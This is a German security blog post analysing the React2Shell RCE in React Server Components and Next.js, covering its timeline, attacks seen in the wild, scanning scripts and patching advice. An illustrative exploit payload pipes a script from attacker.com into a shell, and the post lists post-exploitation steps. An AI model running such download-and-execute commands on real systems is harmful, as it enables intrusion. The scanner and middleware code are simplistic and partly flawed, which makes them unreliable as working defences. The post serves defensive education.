React2Shell: Kritische RCE in React & Next.js

React2Shell (CVE-2025-55182): Eine tiefgehende Analyse einer kritischen React-Schwachstelle

Von Lachlan Davidson
Zuletzt aktualisiert: 4. Dezember 2025

Inhaltsverzeichnis

Einleitung
Hintergrund und Zeitachse
React2Shell verstehen
- Was ist React2Shell?
- Technischer Überblick über die Schwachstelle
Die Auswirkungen auf die React- und Next.js-Ökosysteme
Unsichere Deserialisierung und das Flight-Protokoll
Exploits in der Praxis und Fallstudien
Erkennungs- und Abwehrtechniken
Fortgeschrittene Exploits und Post-Exploitation-Analyse
Umgang mit Fehlalarmen: Was man nicht glauben sollte
Best Practices für Patching und Härtung
Fazit
Quellenangaben

In den letzten Jahren ist die Nutzung von React und den zugehörigen Frameworks rasant gestiegen – von kleinen Web-Projekten bis hin zu groß angelegten Enterprise-Anwendungen. Mit der Beliebtheit wächst jedoch auch die Sorge vor Schwachstellen, insbesondere solchen, die kritische Komponenten des Ökosystems betreffen.

Am 29. November 2025 meldete ich, Lachlan Davidson, eine verheerende Schwachstelle – React2Shell (CVE-2025-55182) – verantwortungsvoll an das Meta-Team. Dieser Fehler betrifft serverseitige React-Implementierungen, insbesondere über das „Flight“-Protokoll der React Server Components (RSC), und wurde am 3. Dezember 2025 von den React- und Vercel-Teams gepatcht. Dieser Blog-Beitrag liefert eine ausführliche Analyse, von den technischen Details bis hin zu realen Angriffsszenarien, und behandelt gleichzeitig Best Practices zur Erkennung und Abwehr.

In diesem Beitrag behandeln wir:

Eine Erklärung der Schwachstelle und ihrer gravierenden Auswirkungen.
Technische Details zu Ursache und Funktionsweise des Fehlers.
Reale Fallstudien zu Exploits und Post-Exploitation-Verhalten.
Praktische Codebeispiele und Scan-Befehle, um verwundbare Instanzen zu erkennen.
Best Practices für Patching und Härtung Ihrer Deployments.

Ob Sie Sicherheitsfachkraft, Entwicklerin oder Technikbegeisterter sind – dieser Blog führt Sie von grundlegenden Konzepten bis hin zu fortgeschrittenen Exploit-Techniken und proaktiven Verteidigungsmaßnahmen.

Hintergrund und Zeitachse

Die Zeitachse ist entscheidend, um das Risikomanagement und die schnelle Reaktion auf diesen Vorfall zu verstehen:

29. November 2025 (PT): Meldung der Schwachstelle durch mich, Lachlan Davidson, an das Meta-Team.
3. Dezember 2025 (PT): Veröffentlichung erster Advisories samt Patches durch die React- und Vercel-Teams.
4. Dezember 2025: Öffentliche Proof-of-Concepts (PoCs) kursieren. Es wird jedoch vor „PoCs“ gewarnt, die den Kernfehler nicht korrekt abbilden.
Nach Patch-Release: Forschungsgruppen wie Wiz Research, Amazon Threat Intelligence und Datadog beobachten Exploits in freier Wildbahn, insbesondere gegen öffentliche Next.js-Instanzen und Cloud-Deployments.

Für Next.js wurde ein zusätzlicher Eintrag (CVE-2025-66478) vergeben, da React als „vendored dependency“ eingebettet ist. Obwohl technisch ein Duplikat, erleichtert dies das Tracking in gängigen Vulnerability-Scannern.

React2Shell verstehen

Was ist React2Shell?

React2Shell bezeichnet eine kritische Schwachstelle (CVE-2025-55182) im Umfeld der React Server Components, speziell im „Flight“-Protokoll. Sie ermöglicht unauthentifizierte Remote-Code-Ausführung (RCE) serverseitig durch unsichere Deserialisierung im Paket react-server.

Wesentliche Merkmale:

Kritische Schwere (10,0): Einfach auszunutzen, schwerwiegende Folgen.
Unauthentifizierte RCE: Bereits ein einfacher HTTP-Request mit präpariertem Payload reicht zur Kompromittierung.
Standardkonfiguration verwundbar: Klassische Next.js-Deployments (z. B. create-next-app) sind anfällig, sofern nicht speziell gehärtet.

Technischer Überblick über die Schwachstelle

Die Ursache liegt im Deserialisierungsprozess der RSC-Payloads. Eingehende Daten werden nicht ausreichend validiert. Angreifende können Daten einschleusen, die nach der Deserialisierung zur Ausführung beliebigen Codes führen.

Vereinfachter Ablauf:

Payload-Erstellung: Angreifende konstruieren bösartige Daten.
HTTP-Request: Das Payload wird an einen verwundbaren Server gesendet.
Deserialisierung und Ausführung: Der Server deserialisiert ohne gründliche Prüfung und führt dabei fremden Code aus.
Remote-Code-Ausführung: Angreifende erhalten Shell-Zugriff auf den Server.

Besonders gefährlich ist, dass Standardkonfigurationen keinerlei zusätzliche Eingabevalidierung oder Zugriffsbeschränkung enthalten.

Die Auswirkungen auf die React- und Next.js-Ökosysteme

Warum ist diese Schwachstelle so gefährlich?

Weite Verbreitung: React und Next.js gehören zu den populärsten Frameworks – entsprechend groß ist die Angriffsfläche.
Einfache Ausnutzung: Ein einziger HTTP-Request genügt; Automatisierung durch Angreifer ist trivial.
Hohe Erfolgsquote: Unter Default-Einstellungen liegt die Erfolgsrate fast bei 100 %.
Öffentliche Exponierung: 39 % der untersuchten Cloud-Umgebungen enthielten verwundbare Instanzen, viele waren öffentlich erreichbar.

Die Next.js-Spezialität

Da Next.js React als eingebettete Abhängigkeit mitliefert, entgeht die Schwachstelle klassischen Dependency-Scannern. CVE-2025-66478 stellt sicher, dass Next.js-Nutzende dennoch alarmiert werden.

Unsichere Deserialisierung und das Flight-Protokoll

Unsichere Deserialisierung erklärt

Deserialisierung wandelt Daten (JSON, Binärformat) in Objekte oder Strukturen um. Unsicher wird es, wenn:

Unzureichende Validierung: Fehlende oder schwache Prüfungen lassen manipulierte Daten passieren.
Ausführung schädlichen Codes: Die Deserialisierung führt Code aus, der vom Angreifenden kontrolliert wird.

Das Flight-Protokoll in RSC

Das Flight-Protokoll transportiert effizient Daten zwischen Server und Client. Fehlende Validierung im Paket react-server öffnet jedoch einen Exploit-Pfad.

Server erhält Flight-Request.
Payload wird deserialisiert und in Render-Instruktionen umgesetzt.
Manipulierte Payloads können Systembefehle oder sensible Logik ausführen.

Die Abstraktion moderner Next.js-Deployments vermittelt ein trügerisches Sicherheitsgefühl, das diese Schwachstelle widerlegt.

Exploits in der Praxis und Fallstudien

Angriffe in freier Wildbahn

Nach Veröffentlichung erster PoCs beobachtete man:

Credential-Diebstahl: Abgreifen von Cloud-Zugangsdaten, Umgebungsvariablen, Dateiinhalten.
Cryptomining: Installation von XMRig-Minern, oft mit UPX-gepackten Binaries.
Post-Exploitation-Recon: Ausweitung der Rechte und dauerhafte Verankerung.

Fallstudie: Next.js auf Kubernetes

Ein Next.js-Service in einem Kubernetes-Cluster erhielt einen harmlos wirkenden Flight-Request. Folgen:

Reverse Shell etabliert.
Zugriff auf Kubernetes-Secrets und ConfigMaps.
Privilegieneskalation bis zum Host.

Fallstudie: Angriffe auf Cloud-Umgebungen

Wiz Research stellte fest:

39 % der Cloud-Umgebungen enthielten verwundbare Instanzen.
Viele waren öffentlich zugänglich.
Häufig: Exfiltration von AWS-Credentials via Base64-Kodierung.

Erkennungs- und Abwehrtechniken

Scannen mit Bash und cURL

#!/bin/bash
# Einfacher Scanner für React2Shell (CVE-2025-55182)
# <target_url> durch Ziel-URL ersetzen.

TARGET="<target_url>"
PAYLOAD='{"malicious": "payload"}'  # Platzhalter-Payload

echo "Scanne $TARGET auf React2Shell..."
RESPONSE=$(curl -s -X POST -H "Content-Type: application/json" -d "$PAYLOAD" "$TARGET")

if echo "$RESPONSE" | grep -q "Error processing Flight payload"; then
    echo "Potenzielle Verwundbarkeit auf $TARGET erkannt"
else
    echo "Keine offensichtliche Verwundbarkeit auf $TARGET. Weitere Analyse empfohlen."
fi

Auswertung von Schwachstellendaten mit Python

import requests, json

def scan_target(target_url):
    payload = {"test": "data", "action": "simulate_deserialization"}
    headers = {"Content-Type": "application/json"}

    print(f"Scanne {target_url} auf React2Shell...")
    try:
        r = requests.post(target_url, headers=headers, data=json.dumps(payload), timeout=5)
        if "Error processing Flight payload" in r.text:
            print(f"[!] Mögliche Schwachstelle auf {target_url}")
        else:
            print(f"[-] Keine unmittelbaren Hinweise auf {target_url}")
    except requests.exceptions.RequestException as e:
        print(f"[-] Fehler beim Scannen von {target_url}: {e}")

if __name__ == "__main__":
    for url in [
        "https://example.com/api/flight",
        "https://another-example.com/api/flight"
    ]:
        scan_target(url)

Tipps für effektives Monitoring

Runtime-Schutz nutzen
Logs auf Anomalien prüfen
Vulnerability-Management-Tools integrieren

Fortgeschrittene Exploits und Post-Exploitation-Analyse

Exploit-Entwicklungsaspekte

// Pseudocode: Aufbau eines schädlichen Flight-Payloads
const maliciousPayload = {
  component: "ShellExec",
  args: {
    command: "bash -c 'curl -fsSL http://attacker.com/malware.sh | sh'",
  },
  _meta: { timestamp: Date.now(), nonce: Math.random().toString(36).slice(2) }
};

const serialized = JSON.stringify(maliciousPayload);
sendToServer(serialized);

Haftungsausschluss: Nur zu Ausbildungszwecken. Unbefugte Angriffe sind illegal.

Post-Exploitation-Schritte

Reverse Shell etablieren
Sensible Daten sammeln
Laterale Bewegung
Persistenz schaffen (z. B. Cryptominer)

Umgang mit Fehlalarmen: Was man nicht glauben sollte

Scanner melden teils Funktionen wie:

vm#runInThisContext
child_process#exec
fs#writeFile

Deren bloße Existenz bedeutet nicht, dass React2Shell ausnutzbar ist. Die RCE erfolgt unabhängig davon über Next.js-eigene Mechanismen. Daher:

Scanner-Ergebnisse mit Hersteller-Advisories abgleichen
Logs auf echte Exploits prüfen
Runtime-Monitoring nutzen

Best Practices für Patching und Härtung

Sofortmaßnahmen

Hersteller-Advisories lesen
Patch umgehend einspielen (z. B. react-server-dom* ≥ 19.x.y)
Runtime-Schutz aktivieren
Ungewöhnliche Deserialisierungsfehler überwachen
Threat-Intel-Feeds verfolgen

Härtungsleitfaden für Entwickler*innen

Strikte Eingabevalidierung
Kritische Endpunkte absichern
Regelmäßige Audits
Umgebungen trennen

Beispiel-Middleware in Next.js:

import { NextResponse } from 'next/server';

export function middleware(request) {
  if (request.nextUrl.pathname.startsWith('/api/flight')) {
    try {
      const body = request.json();
      if (!body || typeof body !== 'object' || !body.component) {
        return new NextResponse('Ungültiges Payload-Format', { status: 400 });
      }
    } catch {
      return new NextResponse('Fehler bei der Verarbeitung', { status: 400 });
    }
  }
  return NextResponse.next();
}

Fazit

React2Shell (CVE-2025-55182) zeigt eindrucksvoll, dass selbst etablierte Frameworks wie React und Next.js vor schwerwiegenden Schwachstellen nicht gefeit sind. Die unsichere Deserialisierung im Flight-Protokoll ermöglicht unauthentifizierte RCE bei Standardkonfigurationen.

Wesentliche Punkte:

Kritische RCE mit minimalem Aufwand
Sowohl React als auch Next.js betroffen (zusätzliche CVE-Nummer für Next.js)
Exploits bereits in freier Wildbahn
Fehlalarme möglich – Validierung unerlässlich
Patch-Management und mehrschichtige Schutzmaßnahmen sind Pflicht

Mit fundiertem Verständnis und proaktiven Maßnahmen können Entwickler*innen und Sicherheitsteams ihre Anwendungen wirksam absichern.

Quellenangaben

Viel Erfolg beim sicheren Programmieren!

React2Shell: Kritische RCE in React & Next.js

Bringen Sie Ihre Cybersecurity-Karriere auf die nächste Stufe